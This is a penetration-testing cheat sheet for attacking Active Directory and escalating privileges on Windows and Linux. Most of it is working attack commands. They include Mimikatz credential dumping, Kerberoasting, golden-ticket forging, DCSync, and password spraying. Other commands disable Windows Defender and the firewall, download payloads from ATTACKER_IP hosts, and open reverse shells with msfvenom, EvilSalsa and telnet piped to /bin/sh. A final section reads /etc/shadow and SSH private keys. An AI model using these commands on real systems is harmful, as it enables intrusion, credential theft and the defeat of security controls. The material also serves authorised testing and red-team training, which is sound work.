ACTIVE DIRECTORY:
TOOLS that attackers use to penetrate and compromise Active Directory include:
Described as “a little tool to play with Windows security”, Mimikatz is probably the most widely used AD exploitation tool and the most versatile. It provides a variety of methods for grabbing LM Hashes, Kerberos tickets, etc.
PowerSploit is a PowerShell-based toolkit for recon, exfiltration, persistence, etc.
Bloodhound is a graphical tool for finding relationships in AD environments that help speed the path to privileged access.
Death Star shows how you can use information collected from Bloodhound and other tools to automate the elevation to Domain Admin (or similar).
Service Principal Names (SPNs):
Service accounts leverage SPNs to support Kerberos authentication, which leaves a trail to exactly where these accounts are and what they are used for. This information can be easily exploited by an attacker.
Using PowerShell list all domain service accounts that have registered SPN values:
#Build LDAP Filter to look for users with SPN values registered for current domain
$ldapFilter = "(&(objectclass=user)(objectcategory=user)(servicePrincipalName=*))"
$domain = New-Object System.DirectoryServices.DirectoryEntry
$search = New-Object System.DirectoryServices.DirectorySearcher
$search.SearchRoot = $domain
$search.PageSize = 1000
$search.Filter = $ldapFilter
$search.SearchScope = "Subtree"
#Execute Search
$results = $search.FindAll()
#Display SPN values from the returned objects
foreach ($result in $results)
{
$userEntry = $result.GetDirectoryEntry()
Write-Host "User Name = " $userEntry.name
foreach ($SPN in $userEntry.servicePrincipalName)
{
Write-Host "SPN = " $SPN
}
Write-Host ""
}
LOCATE ALL ACCOUNTS WITH "svc" IN THE NAME:
#Build LDAP Filter to look for users with service account naming conventions
$ldapFilter = "(&(objectclass=Person)(cn=*svc*))"
$domain = New-Object System.DirectoryServices.DirectoryEntry
$search = New-Object System.DirectoryServices.DirectorySearcher
$search.SearchRoot = $domain
$search.PageSize = 1000
$search.Filter = $ldapFilter
$search.SearchScope = "Subtree"
#Adds list of properties to search for
$objProperties = "name"
Foreach ($i in $objProperties){$search.PropertiesToLoad.Add($i)}
#Execute Search
$results = $search.FindAll()
#Display values from the returned objects
foreach ($result in $results)
{
$userEntry = $result.GetDirectoryEntry()
Write-Host "User Name = " $userEntry.name
Write-Host ""
}
To search Active Directory for service accounts, you need to investigate the values of an object’s user account control settings.
Switch the first line of the above script with the line below to accomplish this.
$ldapFilter = "(&(objectclass=user)(objectcategory=user)(useraccountcontrol :1.2.840.113556.1.4.803:=65536))"
The data is structured in a tree format. Each node in the tree is called a key. Each key can contain both subkeys and data entries called values.
Registry Hive - A hive is a logical group of keys, subkeys, and values in the registry that has a set of supporting files loaded into memory when the operating system is started or a user logs in. Each time a new user logs on to a computer, a new hive is created for that user with a separate file for the user profile. This is called the user profile hive. A user’s hive contains specific registry information pertaining to the user’s application settings, desktop, environment, network connections, and printers. User profile hives are located under the HKEY_USERS key.
Most of the supporting files for the hives are in the %SystemRoot%\System32\Config directory. These files are updated each time a user logs on.
Elevation of Privileges
General
# PowerShellMafia
# Use always dev branch others are shit.
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
powershell.exe -c “Import-Module C:\Users\Public\PowerUp.ps1; Invoke-AllChecks”
powershell.exe -c “Import-Module C:\Users\Public\Get-System.ps1; Get-System”
# Sherlock
https://github.com/rasta-mouse/Sherlock
# Unquoted paths
wmic service get name,displayname,pathname,startmode |findstr /i “Auto” |findstr /i /v “C:\Windows\\” |findstr /i /v
Kerberoast
Simple logic for kerberoast is requesting tickets and cracking them(offline, doesn’t produce any logs)
– For kerberos to work, times have to be within 5 minutes between attacker and victim.
# Rubeus
.\.rubeus.exe kerberoast /creduser:ecorp\morph3 /credpassword:pass1234
# List available tickets
setspn.exe -t evil.corp -q */*
powershell.exe -exec bypass -c “Import-Module .\GetUserSPNs.ps1”
cscript.exe GetUserSPNs.ps1
# List cached tickets
Invoke-Mimikatz -Command ‘”kerberos::list”‘
powershell.exe -c “klist”
powershell.exe -c “Import-Module C:\Users\Public\Invoke-Mimikatz.ps1; Invoke-Mimikatz -Command ‘”kerberos::list”‘”
# Request tickets
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList “HTTP/web01.medin.local”
# Requesting remotely
python GetUserSPNs.py -request ECORP/morph3:supersecurepassword@127.0.0.1
# Extract tickets
powershell.exe -c “Import-Module C:\Users\Public\Invoke-Kerberoast.ps1; Invoke-Kerberoast -OutputFormat Hashcat”
Invoke-Mimikatz -Command ‘”kerberos::list /export”‘
# Crack Tickets
python tgsrepcrack.py /usr/share/wordlists/rockyou.txt ticket.kirbi
Juicy Potato
https://github.com/ohpe/juicy-potato/releases
Pick one CLSID from here according to your system
https://github.com/ohpe/juicy-potato/tree/master/CLSID
Required tokens :-
SeAssignPrimaryTokenPrivilege
SeImpersonatePrivilege
C:\Windows\Temp\JuicyPotato.exe -p cmd.exe -a “/c whoami > C:\Users\Public\morph3.txt” -t * -l 1031 -c {d20a3293-3341-4ae8-9aaf-8e397cb63c34}
Stored Credential
# To check if there is any stored keyscmdkey /list
# Using them
runas /user:administrator /savecred “cmd.exe /k whoami”
Impersonating Tokens with meterpreter
use incognito
list_tokens -u
impersonate_token NT-AUTHORITY\System
Lateral Movement
PsExec, SmbExec, WMIExec, RDP, PTH in general.
WinRM is always good. Check groups carefully.
Since windows gave support to OpenSSH we should also consider SSH.
Mimikatz Ticket PTH
Enable-PSRemoting
mimikatz.exe ‘” kerberos:ptt C:\Users\Public\ticketname.kirbi”‘ “exit”
Enter-PSSession -ComputerName ECORP
WinRM
$pass = ConvertTo-SecureString ‘supersecurepassword’ -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential (‘ECORP.local\morph3’, $pass)
Invoke-Command -ComputerName DC -Credential $cred -ScriptBlock { whoami }
# Evil-WinRM
https://github.com/Hackplayers/evil-winrm
ruby evil-winrm.rb -i 192.168.1.2 -u morph3 -p morph3 -r evil.corp
PTH with Mimikatz
Invoke-Mimikatz -Command ‘”sekurlsa::pth /user:user /domain:domain /ntlm:hash /run:command”‘
Database Links
# PowerUpSQL
https://github.com/NetSPI/PowerUpSQL
Get-SQLServerLink -Instance server -Verbose
powershell.exe -c “Import-Module C:\Users\Public\PowerUpSQL.ps1; Invoke-SQLEscalatePriv -Verbose -Instance ECORP\sql”
# To see servers
select srvname from master..sysservers;
# Native
Get-SQLServerLinkCrawl -Instance server -Query “exec master..xp_cmdshell ‘whoami'”
# Linked database tables
select * from openquery(“ECORP\FOO”, ‘select TABLE_NAME from FOO.INFORMATION_SCHEMA.TABLES’)
# You can also use meterpreter module exploit/windows/mssql/mssql_linkcrawler
# With meterpreter module you can find linked databases and if you are admin on them
# You can do a query and try to enable xp_cmpshell on that server
select * from openquery(“server”,’select * from master..sysservers’) EXECUTE AS USER = ‘internal_user’ (‘sp_configure “xp_cmdshell”,1;reconfigure;’) AT “server”
Golden and Silver Tickets
Keys depend of ticket :
–> for a Golden, they are from the krbtgt account;
–> for a Silver, it comes from the “computer account” or “service account”.
# Golden Ticket
# Extract the hash of the krbtgt user
lsadump::dcsync /domain:evil.corp /user:krbtgt
lsadump::lsa /inject
lsadump:::lsa /patch
lsadump::trust /patch
# creating the ticket
# /rc4 or /krbtgt – the NTLM hash
# /sid you will get this from krbtgt dump
# /ticket parameter is optional but default is ticket.kirbi
# /groups parameter is optional but default is 513,512,520,518,519
# /id you can fake users and supply valid Administrator id
kerberos::golden /user:morph3 /domain:evil.corp /sid:domains-sid /krbtgt:krbtgt-hash /ticket:ticket.kirbi /groups:501,502,513,512,520,518,519
kerberos::ptt golden.tck # you can also add /ptt at the kerberos::golden command
# After this , final ticket must be ready
# You can now verify that your ticket is in your cache
powershell.exe -c “klist”
# Verify that golden ticket is working
dir \\DC\C$
psexec.exe \\DC cmd.exe
# Purge the currently cached kerberos ticket
kerberos::purge
#metasploit module can also be used for golden ticket, it loads the ticket into given session
post/windows/escalate/golden_ticket
# Silver Ticket
# Silver Ticket allows escalation of privileges on DC
# /target t he server/computer name where the service is hosted (ex: share.server.local, sql.server.local:1433, …)
# /service – The service name for the ticket (ex: cifs, rpcss, http, mssql, …)
# Examples
kerberos::golden /user:morph3 /domain:domain /sid:domain-sid /target:evilcorp-sql102.evilcorp.local.1433 /service:MSSQLSvc /rc4:service-hash /ptt /id:1103
sqlcmd -S evilcorp-sql102.evilcorp.local
select SYSTEM_USER;
GO
kerberos::golden /user:JohnDoe /id:500 /domain:targetdomain.com /sid:S-1-5-21-1234567890-123456789-1234567890 /target:targetserver.targetdomain.com /rc4:d7e2b80507ea074ad59f152a1ba20458 /service:cifs /ptt
AD Attacks
Enumeration
# Basic ldap enumeration
enum4linux -a 192.168.1.2
python windapsearch.py -u morph3 -p morph3 -d evil.corp –dc-ip 192.168.1.2
python ad-ldap-enum.py -d contoso.com -l 10.0.0.1 -u Administrator -p P@ssw0rd
Bruteforce on ldap
# Password spray
https://github.com/dafthack/DomainPasswordSpray
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt
# Password brute
./kerbrute_linux_amd64 bruteuser -d evil.corp –dc 192.168.1.2 rockyou.txt morph3
# Username brute
./kerbrute_linux_amd64 userenum -d evil.corp –dc 192.168.1.2 users.txt
# Password spray
./kerbrute_linux_amd64 passwordspray -d evil.corp –dc 192.168.1.2 users.txt rockyou.txt
DC Shadow
AD MEM
DC Shadow attack aims to inject malicious Domain Controllers into AD infrastructure so that we can dump actual AD members.
#Find sid for that user
wmic useraccount where (name=’administrator’ and domain=’%userdomain%’) get name,sid
#This will create a RPC Server and listen
lsadump::dcshadow /object:”CN=morph3,OU=Business,OU=Users,OU=ECORP,DC=ECORP,DC=local” /attribute:sidhistory /value:sid
# Run this from another mimikatz
lsadump::dcshadow /push
# After this unregistration must be done
# Relogin
lsadump::dcsync /domain:ECORP.local /account:krbtgt
# Now you must have krbtgt hash
https://attack.stealthbits.com/how-dcshadow-persistence-attack-works/
DC Sync
#####
lsadump::dcsync /domain:domain /all /csv
lsadump::dcsync /user:krbtgt
#####
https://gist.github.com/monoxgas/9d238accd969550136db
powershell.exe -c “Import-Module .\Invoke-DCSync.ps1; Invoke-DCSync -PWDumpFormat”
#####
python secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1
python secretsdump.py -system /tmp/SYSTEM -ntds /tmp/ntds.dit LOCAL
Bypass-Evasion Techniques
Powershell Constrained Language Bypass
powershell.exe -v 2 -ep bypass -command “IEX (New-Object Net.WebClient).DownloadString(‘http://ATTACKER_IP/rev.ps1’)
PSByPassCLM
powershell.exe -exec bypass -c
Windows Defender
sc config WinDefend start= disabled
sc stop WinDefend
# Powershell
Set-MpPreference -DisableRealtimeMonitoring $true
# Remove definitions
“%Program Files%\Windows Defender\MpCmdRun.exe” -RemoveDefinitions -All
Firewall
Netsh Advfirewall show allprofiles
NetSh Advfirewall set allprofiles state off
Ip Whitelisting
New-NetFirewallRule -Name morph3inbound -DisplayName morph3inbound -Enabled True -Direction Inbound -Protocol ANY -Action Allow -Profile ANY -RemoteAddress ATTACKER_IP
Applocker ByPass
https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md
https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/VerifiedAppLockerBypasses.md
https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/DLL-Execution.md
# Multistep process to bypass applocker via MSBuild.exe:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.56 LPORT=9001 -f csharp -e x86/shikata_ga_nai -i > out.cs
# Replace the buf-sc and save it as out.csproj
https://raw.githubusercontent.com/3gstudent/msbuild-inline-task/master/executes%20shellcode.xml
Invoke-WebRequest “http://ATTACKER_IP/payload.csproj” -OutFile “out.csproj”; C:\windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe .\out.csproj
# or you can simply use my tool 🙂
https://github.com/morph3/Msbuild-payload-generator
sudo python msbuild_gen.py -a x86 -i 10 –lhost 192.168.220.130 –lport 9001 -m
GreatSCT
# This also needs Veil-Framework
python GreatSCT.py –ip 192.168.1.56 –port 443 -t Bypass -p installutil/powershell/script.py -c “OBFUSCATION=ascii SCRIPT=/root/script.ps1”
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false payload1.exe
python3 GreatSCT.py -t Bypass -p regasm/meterpreter/rev_tcp –ip 192.168.1.56 –port 9001
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U payload.dll
EvilSalsa
#Preparing payloads
python EncrypterAssembly/encrypterassembly.py EvilSalsa.dll supersecretpass123 evilsalsa.dll.txt
EncrypterAssembly.exe EvilSalsa.dll supersecretpass123 evilsalsa.dll.txt
#Executing payload
SalseoLoader.exe password http://ATTACKER_IP/evilsalsa.dll.txt reversetcp ATTACKER_IP 9001
# Reverse icmp shell
python icmpsh_m.py “ATTACKER_IP” “VICTIM_IP”
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp ATTACKER_IP
Miscellaneous
Changing Permissions of a file
icacls text.txt /grant Everyone:F
Downloading files
IEX (New-Object System.Net.WebClient).DownloadString(“http://ATTACKER_IP/rev.ps1”)
(New-Object System.Net.WebClient).DownloadFile(“http://ATTACKER_SERVER/malware.exe”, “C:\Windows\Temp\malware.exe”)
Invoke-WebRequest “http://ATTACKER_SERVER/malware.exe” -OutFile “C:\Windows\Temp\malware.exe”
certutil.exe -urlcache -split -f “http://127.0.0.1:80/shell.exe” shell.exe
Adding user to Domain admins
Add-DomainGroupMember -Identity ‘Domain Admins’ -Members morph3 -Verbose
Base64 Encode-Decode
certutil -decode foo.b64 foo.exe
certutil -encode foo.exe foo.b64
Network sharing
# Local share
net share
wmic share get /format:list
# Remote share
net view
net view \\dc.ecorp.foo /all
wmic /node: dc.ecorp.foo share get
# Mounting share
net use Z: \\127.0.0.1\C$ /user:morph3 password123
Port Forwarding
# Port forward using plink
plink.exe -l morph3 -pw pass123 192.168.1.56 -R 8080:127.0.0.1:8080
# Port forward using meterpreter
portfwd add -l attacker-port -p victim-port -r victim-ip
portfwd add -l 3306 -p 3306 -r 192.168.1.56
Powershell Portscan
0..65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect(VICTIM_IP,$_)) “Port $_ is open!”} 2>$null
Recovering Powershell Secure String
######
$user = “morph3”
$file = “morph3-pass.xml”
$cred= New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $user, (Get-Content $file | ConvertTo-SecureString)
Invoke-Command -ComputerName ECORP -Credential $cred -Authentication credssp -ScriptBlock { whoami }
######
[System.Runtime.InteropServices.marshal]::PtrToStringAuto([System.Runtime.InteropServices.marshal]::SecureStringToBSTR(“string”))
######
$Ptr = [System.Runtime.InteropServices.Marshal]::SecureStringToCoTaskMemUnicode($password)
$result = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($Ptr)
[System.Runtime.InteropServices.Marshal]::ZeroFreeCoTaskMemUnicode($Ptr)
$result
Injecting PowerShell scripts Into sessions
Invoke-Command -FilePath scriptname -Sessions $sessions
Enter-PSSession -Session $sess
Enable RDP
# CMD
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /v UserAuthentication /t REG_DWORD /d 0 /f
# Powershell
Set-ItemProperty -Path ‘HKLM:\System\CurrentControlSet\Control\Terminal Server’-name “fDenyTSConnections” -Value 0
Enable-NetFirewallRule -DisplayGroup “Remote Desktop”
# Optional
net localgroup “Remote Desktop Users” morph3 /add
# Reruling firewall
netsh advfirewall firewall set rule group=”remote desktop” new enable=Yes
netsh advfirewall firewall add rule name=”allow RemoteDesktop” dir=in protocol=TCP localport=3389 action=allow
Decrypting EFS files with Mimikatz
Follow the link here How to Decrypt EFS Files
privilege::debug
token::elevate
crypto::system /file:”C:\Users\Administrator\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\thecert” /export
dpapi::capi /in:”C:\Users\Administrator\AppData\Roaming\Microsoft\Crypto\RSA\SID\id”
# Clear text password
dpapi::masterkey /in:”C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\SID\masterkey” /password:pass123
# After this command you must have the exported .der and .pvk files
dpapi::capi /in:”C:\Users\Administrator\AppData\Roaming\Microsoft\Crypto\RSA\SID\id” /masterkey:f2c9ea33a990c865e985c496fb8915445895d80b
openssl x509 -inform DER -outform PEM -in blah.der -out public.pem
openssl rsa -inform PVK -outform PEM -in blah.pvk -out private.pem
openssl pkcs12 -in public.pem -inkey private.pem -password pass:randompass -keyex -CSP “Microsoft Enhanced Cryptographic Provider v1.0” -export -out cert.pfx
# Import the certificate
certutil -user -p randompass -importpfx cert.pfx NoChain,NoRoot
type “C:\Users\Administrator\Documents\encrypted.txt”
Post exploitation – information gathering
Reading Event Logs
User must be in “Event Log Reader” group
Follow this link
Get-WinEvent -ListLog *
# Listing logs of a specific user
$cred = Get-Credentials
Get -WinEvent -ListLog * -ComputerName AD1 -Credentials $cred
# Reading Security logs
(Get-WinEvent -FilterHashtable @{LogName = ‘Security’} | Select-Object @{name=’NewProcessNam
e’;expression={ $_.Properties[5].Value }}, @{name=’CommandLine’;expression={
$_.Properties[8].Value }}).commandline
Password Dump
# Metasploit
post/windows/gather/enum_chrome
post/multi/gather/firefox_creds
post/firefox/gather/cookies
post/firefox/gather/passwords
post/windows/gather/forensics/browser_history
post/windows/gather/enum_putty_saved_sessions
# Empire
collection/ChromeDump
collection/FoxDump
collection/netripper
credentials/sessiongopher
# mimikatz
privilege::debug
sekurlsa::logonpasswords
Shadow copy
There might be a case where you are privileged but can’t read-access to shadow files(NTDS.dit, SYSTEM etc.)
diskshadow.exe
set context persistent nowriters
add volume C: alias morph3
create
expose %morph3% Z:
# Deletion
delete shadows volume %morph3%
reset
NTDS.dit dump
secretsdump.py -system /tmp/SYSTEM -ntds /tmp/ntds.dit -outputfile /tmp/result local
python crackmapexec.py 192.168.1.56 -u morph3 -p pass1234 -d evilcorp.com –ntds drsuapi
# on DC, lsass.exe can dump hashes
lsadump::lsa /inject
Summary of tools
Ad Environment
icebreaker
bloodhound
Post Exploitation
Empire
DeathStar
CrackMapExec – CME
Covenant
Rubeus
SharpDPAPI
Bypass
Ebowla
Veil-Framework
PsBypassCLM
Swiss Knife
impacket
Windows Kernel
Vulnerabilities in the Windows kernel are published from time to time of which many can be used to escalate privileges.
The following command can be used to retrieve installed patches and their date:
wmic qfe get Caption,Description,HotFixID,InstalledOn
Wmic can be used to retrieve installed software and their versions:
wmic product get name, version
To search for missing DLLs, PowerSploit can be used with the following script:
Find-ProcessDLLHijack
Hereafter, we can check the permissions in the directories that Windows searches for DLL files:
Find-PathDLLHijack
In the last step we can create a malicious DLL file with the following script:
Write-HijackDll
Windows first tries to execute an executable file in the location where the first space is. E.g. the service path
C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe
when administrators want to deploy images on a large number of devices without user interaction (called unattended installations) they use the Windows Deployment Services. However, this requires that the local system administrator’s password or other, privileged account passwords are stored in one or more of the following locations:
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
As an example, the following CMD commands can be used to search for passwords in configuration files:
findstr /si password password *.txt
findstr /si password password *.xml
findstr /si password password *.ini
findstr /si password password *.dat
Furthermore, the following PowerSploit scripts can be used:
Get-UnattendedInstallFile
Get-Webconfig
Get-ApplicationHost
Get-SiteListPassword
Get-CachedGPPPassword
The following commands are used to search for passwords in the registry:
reg query HKLM /f password /t REG_SZ /s
reg query HKLM /f password /t REG_SZ /s
reg query HKU /f password /t REG_SZ /s
reg query HKU /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
Insufficient Physical Access Manipulation Protection
Further privilege escalation attack vectors exist if physical access to the target system is available. This section describes how privileges can be escalated on a system, which an attacker has physical access to and which is protected insufficiently against file manipulation.
The following graph depicts the possibilities to elevate privileges by attacking devices which we have physical access to:
Find All Servers where Domain Admins are Registered to Run Services. If we are using the Domain User or local system from a particular Domain computer use the following command
Get-SPN -type group -search "Domain Admins" -List yes | Format-Table -Autosize
for a non domain system with domain credentials we can use the command below
Get-SPN -type group -search "Domain Admins" -List yes -DomainController 192.168.1.100 -Credential domainuser | Format-Table -Autosize
Discovering the Service Accounts
By Doing an SPN Scan for user accounts with Service Principal Names the service Accounts and the server accounts used can be identified.
PS C:\> get-aduser -filter {ServicePrincipalName -like “*”} -Properties PasswordLastSet,LastLogonDate,ServicePrincipalName,TrustedForDelegation,TrustedtoAuthForDelegation
Winexe
Linux Binary pth-winexe
Example with pth:
pth-winexe -U ./Administrator%aad3b435b51404eeaad3b435b51404ee:4b579a266f697c2xxxxxxxxx //10.145.X.X cmd.exe
pth-winexe -U EXAMPLE/Administrator%example@123 //10.145.X.X cmd.exe
If we want to login as NTAuthority, probably use –system
R-service:
If there are any r-services enabled these are what you should try out, you may be lucky and get logged indirectly.
#rlogin -l root <ip> // will directly log you in
You can try an rlogin brute using Nmap script
#nmap -p53 –script rlogin-brute <ip>
#rusers -al <ip>
#rwho
SMB enumeration:
This is what you might come across pretty often.
#enum4linux -a <IP> //performs all basic enumeration using smb null session.
#enum4linux -U 192.168.1.2 //-U will get userlist
SMB null session is an unauthenticated netbios session between two computers. SMB null session is available for SMB1 systems only i.e 2000,xp,2003
To use an smb null session :
#rpcclient -U “” 192.168.1.2 ///when asked enter empty password
#rpcclient $>srvinfo
#rpcclient $>enumdomusers
#rpcclient $>querydominfo
#rpcclient $>getdompwinfo //password policy
#rpcclient $>netshareenum
#nmblookup -A 192.168.1.1
#rpcinfo -p <target>
Enumerate using smbclinet:
#smbclient -L //192.168.1.2
#smbclient -L //192.168.1.2/myshare -U anonymous
#smb> get data.txt
#smb>put evil.txt
Brute SMB password:
#nmap -p445 –script=smb-brute.nse <ip>
Brute force should always be your last option. You can also use hydra to do it.
Using nmap:
#nmap -sU -sS –script=smb-enum-users -p U:137,T:139 192.168.1.200-254
#nmap -T4 -v -oA shares –script smb-enum-shares –script-args smbuser=username,smbpass=password -p445 192.168.1.0/24
Windows null session:
C:\>net use \\TARGET\IPC$ “” /u:””
Use acccheck for getting user pass using smb
#acccheck -v -t 192.168.1.2 -u <user_name> -P /usr/share/dirb/wordlist/common.txt
#acccheck -t 192.168.1.2 -U /root/users.txt -P /root/Pass.txt
Once you got user creds we will use the creds to see the shares using smbmap
#smbmap -u <user_name> -p <password> -d <domain> -H <IP>
#smbmap -u user -p pass -d workgroup -H 192.168.1.2
#smbmap -L -u user -p pass -d workgroup -H 192.168.1.2
If you have only read privilege read the shares
#smbmap -r -u user -p pass -d workgroup -H 192.168.1.2
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
Exploiting a vulnerable machine via dirtycow
$ whoami – tells us the current user is john (non-root user)
$ uname -a – gives us the kernel version which we know is vulnerable to dirtycow
> downloaded the dirtycow exploit from here – https://www.exploit-db.com/exploits/40839/
> Compiled and executed it. It replaces the ‘root’ user with a new user ‘rash’ by editing the /etc/passwd file.
$ su rash – It changes the current logged in user to ‘rash’ which is root.
Exploiting vulnerable SUID executable to get root access
$ find / -perm -u=s -type f 2>/dev/null – It prints the executables which have SUID bit set
ls -la /usr/local/bin/nmap – Let’s confirm if nmap has SUID bit set or not.
Exploiting misconfigured SUDO rights to get root access
$ sudo -l – Prints the commands which we are allowed to run as SUDO
sudo find /home -exec sh -i \; – find command’s exec parameter can be used for arbitrary code execution.
Exploiting badly configured cron jobs to get root access
$ ls -la /etc/cron.d – prints cron jobs which are already present in cron.d
$ find / -perm -2 -type f 2>/dev/null – prints world writable files
$ ls -la /usr/local/sbin/cron-logrotate.sh – Let’s confirm if the cron-logrotate.sh is world writable.
$ echo “chown root:root /tmp/rootme; chmod u+s /tmp/rootme;”>/usr/local/sbin/cron-logrotate.sh –
This will change the executable’s owner and group as root. It will also set the SUID bit.
$ ls -la rootme – After 5 minutes, the logrotate cronjob was run and cron-logrotate.sh got execute with root privilege.
$ ./rootme – spawns a root shell.
> Now, if a root user executes the code with root privilege, we can achieve arbitrary code execution with root privilege.
$ ls – executed ./ls file instead of running list command.
Operating System
What's the distribution type? What version?
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release # Debian based
cat /etc/redhat-release # Redhat based
What's the kernel version? Is it 64-bit
cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-
What can be learnt from the environmental variables?
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
Is there a printer?
lpstat -a
Applications & Services
What services are running? Which service has which user privilege?
ps aux
ps -ef
top
cat /etc/services
Which service(s) are been running by root? Of these services, which are vulnerable - it's worth a double check!
ps aux | grep root
ps -ef | grep root
What applications are installed? What version are they? Are they currently running?
ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/
Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/
What jobs are scheduled?
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
Any plain text usernames and/or passwords?
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla
Communications & Networking
What NIC(s) does the system have? Is it connected to another network?
/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network
What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway?
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname
What other users & hosts are communicating with the system?
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
Whats cached? IP and/or MAC addresses
arp -e
route
/sbin/route -nee
Is packet sniffing possible? What can be seen? Listen to live traffic
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21
Note: tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]
Have you got a shell? Can you interact with the system?
nc -lvp 4444 # Attacker. Input (Commands)
nc -lvp 4445 # Attacker. Ouput (Results)
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # On the targets system. Use the attackers IP!
Note: http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
Is port forwarding possible? Redirect and interact with traffic from another view
Note: http://www.boutell.com/rinetd/
Note: http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch
Note: http://downloadcenter.mcafee.com/products/tools/foundstone/fpipe2_1.zip
Note: FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]
FPipe.exe -l 80 -r 80 -s 80 192.168.1.7
Note: ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]
ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port
ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port
Note: mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe
mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 >backpipe # Port Relay
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080)
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080)
Is tunnelling possible? Send commands locally, remotely
ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig
Confidential Information & Users
Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?
id
who
w
last
cat /etc/passwd | cut -d: -f1 # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd # List of super users
cat /etc/sudoers
sudo -l
What sensitive files can be found?
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/
Anything "interesting" in the home directorie(s)? If it's possible to access
ls -ahlR /root/
ls -ahlR /home/
Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg
What has the user being doing? Is there any password in plain text? What have they been edting?
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history
What user information can be found?
cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root
Can private-key information be found?
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
